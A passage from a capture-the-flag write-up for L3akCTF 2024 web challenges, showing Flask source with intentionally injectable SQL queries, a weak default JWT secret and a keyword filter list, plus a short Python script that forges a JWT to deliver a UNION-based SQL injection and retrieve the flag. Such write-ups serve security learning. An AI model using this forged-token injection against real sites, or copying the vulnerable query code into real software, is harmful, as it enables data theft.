304    <span class="n">app</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'0.0.0.0'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">5000</span><span class="p">)</span>
305
306</code></pre></div></div>
307<p><br /></p>
308
309<p>We can highlight the following parts as relevant for the challenge:</p>
310
311<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
312<span class="c1"># The flag is at the DB, so we will need an SQL injection
313</span><span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"CREATE TABLE IF NOT EXISTS flag (flag TEXT);"</span><span class="p">)</span>
314
315<span class="k">if</span> <span class="ow">not</span> <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"SELECT * FROM flag;"</span><span class="p">).</span><span class="n">fetchone</span><span class="p">():</span>
316    <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">"INSERT INTO flag (flag) VALUES ('</span><span class="si">{</span><span class="n">flag</span><span class="si">}</span><span class="s">');"</span><span class="p">)</span>
317
318
319<span class="c1">############## SNIP #################
320</span>
321
322<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/dashboard'</span><span class="p">)</span>
323<span class="k">def</span> <span class="nf">dashboard</span><span class="p">():</span>
324    
325    <span class="n">token</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">cookies</span><span class="p">.</span><span class="n">
325get</span><span class="p">(</span><span class="s">'token'</span><span class="p">)</span>
326    <span class="k">if</span> <span class="ow">not</span> <span class="n">token</span><span class="p">:</span>
327        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Please login to access this page'</span><span class="p">)</span>
328    <span class="c1"># my code
329</span>    <span class="n">decoded_token</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">secret</span><span class="p">,</span> <span class="n">algorithms</span><span class="o">=</span><span class="p">[</span><span class="s">'HS256'</span><span class="p">])</span>
330    
331    <span class="c1"># Filters we have to bypass on the USERNAME SQL injection point down below
332</span>    <span class="c1"># The username is taken from the token 😳
333</span>    <span class="n">username</span> <span class="o">=</span> <span class="n">decoded_token</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span>
334    <span class="n">username</span><span class="o">=</span><span class="n">username</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span>
335    <span class="n">filters</span><span class="o">=</span><span class="p">[</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="s">"+"</span><span class="p">,</span><span class="s">"="</span><span class="p">,</span> <span class="s">"&lt;"</span><span class="p">,</span><span class="s">"//"</span><span class="p">,</span> <span class="s">"|"</span><span class="p">,</span><span class="s">"'1"</span><span class="p">,</span> <span class="s">" 1"</span><span class="p">,</span> <span class="s">" true"</span><span class="p">,</span> <span class="s">"'true"</span><span class="p">,</span> <span class="s">" or"</span><span class="p">,</span> <span class="s">"'or"</span><span class="p">,</span> <span class="s">"/or"</span><span class="p">,</span><span class="s">";"</span><span class="p">,</span> <span class="s">" "</span><span class="p">,</span> <span class="s">" "</span> <span class="p">,</span><span class="s">" and"</span><span class="p">,</span> <span class="s">"'and"</span><span class="p">,</span> <span class="s">"/and"</span><span class="p">,</span> <span class="s">"'like"</span><span class="p">,</span> <span class="s">" like"</span><span class="p">,</span> <span class="s">"%00"</span><span class="p">,</span> <span class="s">"null"</span><span class="p">,</span> <span class="s">"admin'"</span><span class="p">,</span><span class="s">"/like"</span><span class="p">,</span> <span class="s">"'where"</span><span class="p">,</span> <span class="s">" where"</span><span class="p">,</span> <span class="s">"/where"</span><span class="p">]</span>
336    <span class="n">passed</span> <span class="o">=</span> <span class="nb">next</span><span class="p">(</span>
337            <span class="p">(</span>
338                <span class="n">i</span>
339                <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">filters</span>
340                <span class="k">if</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">username</span>
341            <span class="p">),</span>
342            <span class="bp">None</span><span class="p">,</span>
343        <span class="p">)</span>
344
345    <span class="k">if</span> <span class="n">passed</span><span class="p">:</span>
346        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span>
347
348    <span class="k">if</span> <span class="ow">not</span> <span class="n">token</span><span class="p">:</span>
349        <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/login'</span><span class="p">)</span>
350    <span class="n">username</span> <span class="o">=</span> <span class="n">verify_jwt</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="s">'HS256'</span><span class="p">)</span>
351    <span class="k">if</span> <span class="n">username</span><span class="p">:</span>
352        <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"challenge.db"</span><span class="p">)</span>
353        <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
354
355        <span class="c1"># The injection point, we have to inject in the USERNAME and bypass aforementioned filter
356</span>        <span class="n">query</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"SELECT fortune FROM users WHERE username='</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">';"</span>
357        <span class="n">result</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
358        <span class="n">row</span> <span class="o">=</span> <span class="n">result</span><span class="p">.</span><span class="n">fetchone</span><span class="p">()</span>
359        <span class="k">if</span> <span class="n">row</span><span class="p">:</span>
360            <span class="n">query</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">replace</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">n"</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"('"</span><span class="p">,</span> <span class="s">""</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"',)"</span><span class="p">,</span> <span class="s">""</span><span class="p">)</span>
361            <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
362            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'dashboard.html'</span><span class="p">,</span> <span class="n">fortunes</span><span class="o">=</span><span class="n">query</span><span class="p">)</span>
363
364
365<span class="c1">####################### SNIP ################
366</span>
367<span class="c1"># The registration part, we need to inject in the USERNAME, but we have the following restrictions:
368</span><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/signup'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span>
369<span class="k">def</span> <span class="nf">signup</span><span class="p">():</span>
370    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span> <span class="ow">and</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">):</span>
371        <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">
371get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span>
372        <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">)</span>
373
374        <span class="k">if</span> <span class="ow">not</span> <span class="n">username</span><span class="p">.</span><span class="n">isalnum</span><span class="p">():</span>
375            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'signup.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username can only contain alphanumeric characters'</span><span class="p">)</span>
376
377        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">:</span>
378            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username must be at least 3 characters long'</span><span class="p">)</span>
379        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">20</span><span class="p">:</span>
380            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username must be at most 20 characters long'</span><span class="p">)</span>
381        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">:</span>
382            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Password must be at least 8 characters long'</span><span class="p">)</span>
383        <span class="k">if</span> <span class="ow">not</span> <span class="n">username</span><span class="p">.</span><span class="n">isalnum</span><span class="p">():</span>
384            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username can only contain alphanumeric characters'</span><span class="p">)</span>
385
386        <span class="n">fortune</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">popen</span><span class="p">(</span><span class="s">'fortune'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
387        <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"challenge.db"</span><span class="p">)</span>
388        <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
389        <span class="n">query</span> <span class="o">=</span> <span class="s">"SELECT * FROM users WHERE username = ?;"</span>
390        <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,))</span>
391        <span class="k">if</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">():</span>
392            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'signup.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'User already exists'</span><span class="p">)</span>
393
394        <span class="n">query</span> <span class="o">=</span> <span class="s">"INSERT INTO users (username, password, fortune) VALUES (?, ?, ?);"</span>
395        
396        <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">fortune</span><span class="p">))</span>
397        <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
398        <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
399        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'User created successfully'</span><span class="p">)</span>
400
401</code></pre></div></div>
402
403<p>Mainly, we have two filters for our SQLi payloads:</p>
404
405<ul>
406  <li>At the registration:</li>
407</ul>
408
409<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">username</span><span class="p">.</span><span class="n">isalnum</span><span class="p">()</span>
410<span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">3</span>
411<span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">20</span>
412</code></pre></div></div>
413
414<ul>
415  <li>At dashboard (from the JWT token username):</li>
416</ul>
417
418<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">filters</span><span class="o">=</span><span class="p">[</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="s">"+"</span><span class="p">,</span><span class="s">"="</span><span class="p">,</span> <span class="s">"&lt;"</span><span class="p">,</span><span class="s">"//"</span><span class="p">,</span> <span class="s">"|"</span><span class="p">,</span><span class="s">"'1"</span><span class="p">,</span> <span class="s">" 1"</span><span class="p">,</span> 
419  <span class="s">" true"</span><span class="p">,</span> <span class="s">"'true"</span><span class="p">,</span> <span class="s">" or"</span><span class="p">,</span> <span class="s">"'or"</span><span class="p">,</span> <span class="s">"/or"</span><span class="p">,</span><span class="s">";"</span><span class="p">,</span> <span class="s">" "</span><span class="p">,</span> 
420  <span class="s">" "</span> <span class="p">,</span><span class="s">" and"</span><span class="p">,</span> <span class="s">"'and"</span><span class="p">,</span> <span class="s">"/and"</span><span class="p">,</span> <span class="s">"'like"</span><span class="p">,</span> <span class="s">" like"</span><span class="p">,</span> 
421  <span class="s">"%00"</span><span class="p">,</span> <span class="s">"null"</span><span class="p">,</span> <span class="s">"admin'"</span><span class="p">,</span><span class="s">"/like"</span><span class="p">,</span> <span class="s">"'where"</span><span class="p">,</span> 
422  <span class="s">" where"</span><span class="p">,</span> <span class="s">"/where"</span><span class="p">]</span>
423</code></pre></div></div>
424
425<p><a href="https://albertofdr.github.io/">Bubu</a> said that we might try to bruteforce the JWT secret to bypass registration filters and while I thought that the secret might be really hard, but to be honest, there was no chance to get an SQL injection with the <em>username.isalnum()</em>
425 filter. He tried and the secret was “secret” as the default value in the code 😨 (I expect some 32 hexadecimal secret or something):</p>
426
427<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">secret</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'SECRET'</span><span class="p">,</span> <span class="s">'secret'</span><span class="p">)</span>
428</code></pre></div></div>
429
430<p><a href="https://albertofdr.github.io/">Bubu</a> prepared the exploit script while I was crafting the SQLi payload:</p>
431
432<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">jwt</span>
433<span class="kn">import</span> <span class="nn">sys</span>
434<span class="kn">import</span> <span class="nn">requests</span>
435
436<span class="n">URL</span> <span class="o">=</span> <span class="s">"http://45.129.40.107:9669/"</span>
437<span class="n">SESSION</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">Session</span><span class="p">()</span>
438
439<span class="k">def</span> <span class="nf">create_user</span><span class="p">(</span><span class="n">PAYLOAD</span><span class="p">):</span>
440    <span class="n">params</span> <span class="o">=</span> <span class="p">{</span>
441        <span class="s">"username"</span><span class="p">:</span> <span class="n">PAYLOAD</span><span class="p">,</span>
442        <span class="s">"password"</span><span class="p">:</span> <span class="s">"asdasdasdasdasd"</span>
443            <span class="p">}</span>
444    <span class="n">r</span> <span class="o">=</span> <span class="n">SESSION</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">URL</span><span class="o">+</span><span class="s">'signup'</span><span class="p">,</span> <span class="n">params</span><span class="p">)</span>
445    <span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">
445status_code</span><span class="p">)</span>
446
447<span class="k">def</span> <span class="nf">login</span><span class="p">(</span><span class="n">PAYLOAD</span><span class="p">):</span>
448    <span class="n">params</span> <span class="o">=</span> <span class="p">{</span>
449        <span class="s">"username"</span><span class="p">:</span> <span class="n">PAYLOAD</span><span class="p">,</span>
450        <span class="s">"password"</span><span class="p">:</span> <span class="s">"asdasdasdasdasd"</span>
451            <span class="p">}</span>
452    <span class="n">r</span> <span class="o">=</span> <span class="n">SESSION</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">URL</span><span class="o">+</span><span class="s">'login'</span><span class="p">,</span> <span class="n">params</span><span class="p">)</span>
453    <span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">status_code</span><span class="p">)</span>
454
455
456<span class="k">def</span> <span class="nf">exploit</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
457    <span class="n">cookie</span> <span class="o">=</span> <span class="p">{</span>
458        <span class="s">"token"</span><span class="p">:</span> <span class="n">jwt</span><span class="p">.</span><span class="n">encode</span><span class="p">({</span><span class="s">'username'</span><span class="p">:</span> <span class="n">payload</span><span class="p">,</span><span class="s">'password'</span> <span class="p">:</span> <span class="s">'contraseña'</span><span class="p">},</span> <span class="s">'secret'</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="s">'HS256'</span><span class="p">)</span>
459            <span class="p">}</span>
460    <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">URL</span><span class="o">+</span><span class="s">'dashboard'</span><span class="p">,</span> <span class="n">cookies</span><span class="o">=</span><span class="n">cookie</span><span class="p">)</span>
461    <span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
462
463<span class="n">PAYLOAD</span> <span class="o">=</span> <span class="s">"bubu"</span>
464<span class="n">exploit</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
465
466<span class="c1"># Launch exploit
467# python3 script.py "'union/**/select/**/flag/**/from/**/flag--"
468</span></code></pre></div></div>
469
470<p>Executing the script, it will print the dashboard HTML with the flag:</p>
471
472<p align="center">
473  <img src="/images/writeups/L3akCTF2024/web_3.png" width="70%" />
474</p>
475
476<p><code class="language-plaintext highlighter-rouge">L3AK{5q1_1nj3ct10n_CLF}</code></p>
477
478<p><br /></p>
479
480<h2 id="bbsqli---43-solves">bbsqli - [43 solves]</h2>
481<p>477
482web
483SO Classic !</p>
484
485<p><em>Author: xhalyl</em></p>
486
487<p>http://45.129.40.107:9676/</p>
488
489<p>We have the following code:</p>
490
491<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">redirect</span><span class="p">,</span> <span class="n">url_for</span><span class="p">,</span> <span class="n">session</span>
492<span class="kn">import</span> <span class="nn">sqlite3</span>
493<span class="kn">import</span> <span class="nn">hashlib</span>
494<span class="kn">import</span> <span class="nn">os</span>
495<span class="kn">from</span> <span class="nn">utils</span> <span class="kn">import</span> <span class="n">generate</span><span class="p">,</span><span class="n">hash_password</span>
496
497<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
498<span class="n">app</span><span class="p">.</span><span class="n">secret_key</span> <span class="o">=</span> <span class="n">generate</span><span class="p">(</span><span class="mi">60</span><span class="p">)</span>
499
500
501<span class="n">FLAG</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getenv</span><span class="p">(</span><span class="s">'FLAG'</span><span class="p">)</span>
502
503<span class="k">def</span> <span class="nf">init_db</span><span class="p">():</span>
504    <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">
504'l3ak.db'</span><span class="p">)</span>
505    <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
506    <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'''
507        CREATE TABLE IF NOT EXISTS users (
508            id INTEGER PRIMARY KEY,
509            username TEXT NOT NULL,
510            email TEXT NOT NULL,
511            password TEXT NOT NULL
512        )
513    '''</span><span class="p">)</span>
514    <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'''
515        CREATE TABLE IF NOT EXISTS flags (
516            id INTEGER PRIMARY KEY,
517            flag TEXT NOT NULL
518        )
519    '''</span><span class="p">)</span>
520    <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
521    <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
522
523<span class="k">def</span> <span class="nf">add_flag</span><span class="p">(</span><span class="n">flag</span><span class="p">):</span>
524    <span class="n">conn</span> <span class="o">=</span> <span class="n">get_db_connection</span><span class="p">()</span>
525    <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
526    <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'INSERT INTO flags (flag) VALUES (?)'</span><span class="p">,</span> <span class="p">(</span><span class="n">flag</span><span class="p">,))</span>
527    <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
528    <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
529
530
531<span class="k">def</span> <span class="nf">add_user</span><span class="p">(</span><span class="n">username</span><span class="p">,</span><span class="n">email</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
532    <span class="n">conn</span> <span class="o">=</span> <span class="n">get_db_connection</span><span class="p">()</span>
533    <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
534
535    <span class="n">hashed_password</span> <span class="o">=</span> <span class="n">hash_password</span><span class="p">(</span><span class="n">password</span><span class="p">)</span>
536    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Adding user </span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s"> with pass </span><span class="si">{</span><span class="n">password</span><span class="si">}</span><span class="s"> hashed </span><span class="si">{</span><span class="n">hashed_password</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
537    <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'INSERT INTO users (username,email, password) VALUES (?,?, ?)'</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span><span class="n">email</span><span class="p">,</span> <span class="n">hashed_password</span><span class="p">))</span>
538    <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
539    <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
540
541<span class="n">init_db</span><span class="p">()</span>
542
543<span class="k">def</span> <span class="nf">get_db_connection</span><span class="p">():</span>
544    <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">
544'l3ak.db'</span><span class="p">)</span>
545    <span class="n">conn</span><span class="p">.</span><span class="n">row_factory</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">Row</span>
546    <span class="k">return</span> <span class="n">conn</span>
547
548
549<span class="n">r</span> <span class="o">=</span> <span class="n">generate</span><span class="p">(</span><span class="mi">30</span><span class="p">)</span>
550<span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
551<span class="k">print</span><span class="p">(</span><span class="n">hash_password</span><span class="p">(</span><span class="n">r</span><span class="p">))</span>
552<span class="n">add_user</span><span class="p">(</span><span class="s">"admin"</span><span class="p">,</span><span class="s">"[email protected]"</span><span class="p">,</span><span class="n">hash_password</span><span class="p">(</span><span class="n">r</span><span class="p">))</span>
553<span class="n">add_flag</span><span class="p">(</span><span class="n">FLAG</span><span class="p">)</span>
554
555
556<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
557<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
558    <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span>
559
560<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/login'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span>
561<span class="k">def</span> <span class="nf">login</span><span class="p">():</span>
562    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>
563       <span class="k">try</span><span class="p">:</span> 
564        <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
565        <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span>
566        <span class="n">conn</span> <span class="o">=</span> <span class="n">get_db_connection</span><span class="p">()</span>
567        <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
568        <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">'SELECT username,email,password FROM users WHERE username ="</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">"'</span><span class="p">)</span>
569        <span class="n">user</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">()</span>
570        <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
571        <span class="k">if</span> <span class="n">user</span> <span class="ow">and</span> <span class="n">user</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> <span class="o">==</span> <span class="n">username</span> <span class="ow">and</span> <span class="n">user</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span> <span class="o">==</span> <span class="n">hash_password</span><span class="p">(</span><span class="n">password</span><span class="p">):</span>
572            <span class="n">session</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> <span class="o">=</span> <span class="n">user</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
573            <span class="n">session</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span> <span class="o">=</span> <span class="n">user</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span>
574            <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'dashboard'</span><span class="p">))</span>
575        <span class="k">else</span><span class="p">:</span>
576            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span>
577       <span class="k">except</span><span class="p">:</span>
578           <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span>
579    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">)</span>
580
581<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/register'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span>
582<span class="k">def</span> <span class="nf">register</span><span class="p">():</span>
583    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>
584        <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
585        <span class="n">email</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span>
586        <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span>
587        <span class="n">conn</span> <span class="o">=</span> <span class="n">get_db_connection</span><span class="p">()</span>
588        <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
589        <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'SELECT username FROM users WHERE username = ?'</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,))</span>
590        <span class="n">existing_user</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">()</span>
591        <span class="k">if</span> <span class="n">existing_user</span><span class="p">:</span>
592            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'register.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username already exists'</span><span class="p">)</span>
593        <span class="n">add_user</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">email</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
594        <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span>
595    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'register.html'</span><span class="p">)</span>
596
597<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/dashboard'</span><span class="p">)</span>
598<span class="k">def</span> <span class="nf">dashboard</span><span class="p">():</span>
